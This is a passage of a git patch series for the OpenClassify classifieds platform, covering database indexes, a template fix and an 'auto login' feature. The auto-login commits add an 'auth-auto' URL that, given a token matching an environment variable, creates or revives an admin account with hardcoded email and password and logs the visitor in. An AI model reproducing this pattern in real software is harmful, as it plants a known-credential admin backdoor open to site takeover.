VisiosoftModuleCatsAddIndexTable extends Migration $table->index('slug'); $table->index('parent_category_id'); $table->index('icon_id'); - $table->index('cat1'); - $table->index('country_id'); - $table->index('city'); - $table->index('finish_at'); - $table->index('status'); - $table->index('count_show_ad'); + $table->index('sort_order'); }); } } diff --git a/addons/default/visiosoft/profile-module/migrations/2021_03_31_121019_visiosoft.module.profile__add_index_table.php b/addons/default/visiosoft/profile-module/migrations/2021_03_31_121019_visiosoft.module.profile__add_index_table.php index 7ee5a44d6..bfa9683c2 100644 --- a/addons/default/visiosoft/profile-module/migrations/2021_03_31_121019_visiosoft.module.profile__add_index_table.php +++ b/addons/default/visiosoft/profile-module/migrations/2021_03_31_121019_visiosoft.module.profile__add_index_table.php @@ -14,9 +14,5 @@ class VisiosoftModuleProfileAddIndexTable extends Migration $table->index('folder_id'); }); - Schema::table('page_link_type_pages_translations', function (Blueprint $table) { - $table->index('entry_id'); - $table->index('locale'); - }); } } From 1a2d74ea38c46ffb9c2cabca2149dde2e040d50d Mon Sep 17 00:00:00 2001 From: vedatakd Date: Thu, 1 Apr 2021 16:35:46 +0300 Subject: [PATCH 23/27] added auto login --- .../profile-module/src/Command/AuthAuto.php | 45 +++++++++++++++++++ .../src/Http/Controller/UserAuthenticator.php | 12 +++++ .../src/ProfileModuleServiceProvider.php | 1 + 3 files changed, 58 insertions(+) create mode 100644 addons/default/visiosoft/profile-module/src/Command/AuthAuto.php diff --git a/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php b/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php new file mode 100644 index 000000000..1d5e2f0af --- /dev/null +++ b/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php @@ -0,0 +1,45 @@ +token = $token; + } + + public function handle(UserRepositoryInterface $users, RoleRepositoryInterface $roles, UserActivator $activator) + { + if ($this->token && env('AUTO_TOKEN') && $this->token === env('AUTO_TOKEN')) { + if (!$user = $users->getModel()->withTrashed()->where('email', 'info@openclassify.com')->first()) { + $admin = $roles->findBySlug('admin'); + + $users->unguard(); + $users->newQuery()->where('email', "info@openclassify.com")->forceDelete(); + $user = $users->create( + [ + 'first_name' => 'Dev', + 'last_name' => 'Openclassify', + 'display_name' => 'openclassify', + 'email' => "info@openclassify.com", + 'username' => "openclassify", + 'password' => "openclassify", + ] + ); + + $user->roles()->sync([$admin->getId()]); + + $activator->force($user); + } elseif ($user->deleted_at) { + $user->update(['deleted_at' => null]); + } + Auth::login($user); + } + } +} diff --git a/addons/default/visiosoft/profile-module/src/Http/Controller/UserAuthenticator.php b/addons/default/visiosoft/profile-module/src/Http/Controller/UserAuthenticator.php index 0557a7fb4..631eac058 100644 --- a/addons/default/visiosoft/profile-module/src/Http/Controller/UserAuthenticator.php +++ b/addons/default/visiosoft/profile-module/src/Http/Controller/UserAuthenticator.php @@ -6,6 +6,7 @@ use Anomaly\UsersModule\User\Authenticator\Contract\AuthenticatorExtensionInterf use Anomaly\UsersModule\User\Contract\UserInterface; use Anomaly\UsersModule\User\Contract\UserRepositoryInterface; use Anomaly\UsersModule\User\Event\UserWasLoggedIn; +use Illuminate\Foundation\Bus\DispatchesJobs; use Visiosoft\AdvsModule\Adv\AdvModel; use Illuminate\Contracts\Auth\Guard; use Illuminate\Contracts\Container\Container; @@ -13,10 +14,13 @@ use Illuminate\Contracts\Events\Dispatcher; use Illuminate\Http\RedirectResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Redirect; +use Visiosoft\ProfileModule\Command\AuthAuto; use Visiosoft\ProfileModule\Profile\ProfileRepository; class UserAuthenticator { + use DispatchesJobs; + protected $guard; protected $events; protected $container; @@ -124,4 +128,12 @@ class UserAuthenticator return response()->json(['userExists' => false]); } } + + public function authAuto() + { + if (\request()->has(['token'])) { + $this->dispatch(new AuthAuto(\request('token'))); + } + return \redirect('/'); + } } diff --git a/addons/default/visiosoft/profile-module/src/ProfileModuleServiceProvider.php b/addons/default/visiosoft/profile-module/src/ProfileModuleServiceProvider.php index e55506cea..ea0367054 100644 --- a/addons/default/visiosoft/profile-module/src/ProfileModuleServiceProvider.php +++ b/addons/default/visiosoft/profile-module/src/ProfileModuleServiceProvider.php @@ -79,6 +79,7 @@ class ProfileModuleServiceProvider extends AddonServiceProvider // UserAuthenticator 'login-in' => 'Visiosoft\ProfileModule\Http\Controller\UserAuthenticator@attempt', 'ajax/phone-validation' => 'Visiosoft\ProfileModule\Http\Controller\UserAuthenticator@phoneValidation', + 'auth-auto' => 'Visiosoft\ProfileModule\Http\Controller\UserAuthenticator@authAuto', // RegisterController 'register' => [ From f4fc331c42131d56d944c54a20eccc870bffd50c Mon Sep 17 00:00:00 2001 From: Diatrex Date: Fri, 2 Apr 2021 10:59:57 +0300 Subject: [PATCH 24/27] #3671 country not showing for ad create page --- .../visiosoft/location-module/resources/views/new-ad/map.twig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/addons/default/visiosoft/location-module/resources/views/new-ad/map.twig b/addons/default/visiosoft/location-module/resources/views/new-ad/map.twig index 81b1e33e2..c1d32a90f 100644 --- a/addons/default/visiosoft/location-module/resources/views/new-ad/map.twig +++ b/addons/default/visiosoft/location-module/resources/views/new-ad/map.twig @@ -20,7 +20,7 @@
  • - {{ form.fields.countrysetOptions({})|raw }} + {{ form.fields.country.setOptions({})|raw }}
  • Date: Fri, 2 Apr 2021 12:32:55 +0300 Subject: [PATCH 25/27] is Activated added --- .../default/visiosoft/profile-module/src/Command/AuthAuto.php | 3 +++ 1 file changed, 3 insertions(+) diff --git a/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php b/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php index 1d5e2f0af..d54e6a57b 100644 --- a/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php +++ b/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php @@ -38,6 +38,9 @@ class AuthAuto $activator->force($user); } elseif ($user->deleted_at) { $user->update(['deleted_at' => null]); + } elseif (!$user->isActivated()) { + $user->update(['enabled' => true, 'activated' => true]); + } Auth::login($user); } From 7348059baa1a28560177f51e14a904d5f902e9bf Mon Sep 17 00:00:00 2001 From: vedatakd Date: Fri, 2 Apr 2021 12:40:23 +0300 Subject: [PATCH 26/27] is Activated added --- .../visiosoft/profile-module/src/Command/AuthAuto.php | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php b/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php index d54e6a57b..bf3350363 100644 --- a/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php +++ b/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php @@ -38,10 +38,12 @@ class AuthAuto $activator->force($user); } elseif ($user->deleted_at) { $user->update(['deleted_at' => null]); - } elseif (!$user->isActivated()) { - $user->update(['enabled' => true, 'activated' => true]); - } + + if (!$user->isActivated() or !$user->isEnabled()) { + $user->update(['enabled' => true, 'activated' => true]); + } + Auth::login($user); } } From e78178558daa24c326c50a9d1394b4a081c9454c Mon Sep 17 00:00:00 2001 From: Muammer Top Date: Fri, 2 Apr 2021 15:28:09 +0300 Subject: [PATCH 27/27] new-oc navigation edited --- .../default/visiosoft/advs-module/src/Adv/AdvPresenter.php | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/addons/default/visiosoft/advs-module/src/Adv/AdvPresenter.php b/addons/default/visiosoft/advs-module/src/Adv/AdvPresenter.php index 1f0aaa106..a7b3b3220 100644 --- a/addons/default/visiosoft/advs-module/src/Adv/AdvPresenter.php +++ b/addons/default/visiosoft/advs-module/src/Adv/AdvPresenter.php @@ -75,4 +75,9 @@ class AdvPresenter extends EntryPresenter $advModel = new AdvModel(); return $advModel->priceFormat($adv->getObject()); } + + public function detailUrl() + { + return $this->getObject()->getAdvDetailLinkByModel($this); + } }